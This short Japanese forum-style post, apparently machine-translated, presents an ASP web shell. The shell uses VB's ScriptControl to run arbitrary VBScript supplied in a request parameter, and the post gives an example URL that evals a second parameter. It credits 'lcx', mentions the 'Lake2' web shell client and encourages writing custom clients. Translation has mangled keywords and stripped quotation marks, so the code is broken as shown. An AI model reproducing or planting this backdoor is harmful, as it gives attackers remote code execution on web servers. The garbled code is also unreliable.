私がいつも疑問に思っているのは、なぜクライアントに eval またはexecute があるのですか?今日、VB の ScriptControl コンポーネントを再調査したところ、ASP でも呼び出せることがわかりました。私はその方法を研究し、後で lcx と話し合いました。次のコードが得られました。先輩方のご指導に感謝します(笑)。
コードは非常に単純なので、ふりをしていると怒られるのを避けるために、あまり説明しません。
次のようにコードをコピーします。
<%
o = Server.CreateObject(ScriptControl) を設定します
o.言語 = vbscript
o.addcode(Request(SubCode)) 'プロセスコードとしてのパラメータサブコード
o.run e,Server,Response,Request,Application,Session,Error 'パラメーター名 e で呼び出し、6 つの基本オブジェクトをパラメーターとして同時にプッシュします
'呼び出し例:
'http://localhost/tmp.asp?SubCode=sub%20e%28Server,Response,Request,Application,Session,Error%29%20eval%28request%28%22v%22%29%29%20end%20sub&v=response .write%28server.mappath%28%22tmp.asp%22%29%29
%>
なお、使用することは可能ですが、実験では Lake2 クライアントのみ使用できることが判明しました。誰かが出てきて、もっと一般的なものにしてくれることを願っています。ふふ。独自の専用クライアントを作成することもお勧めします。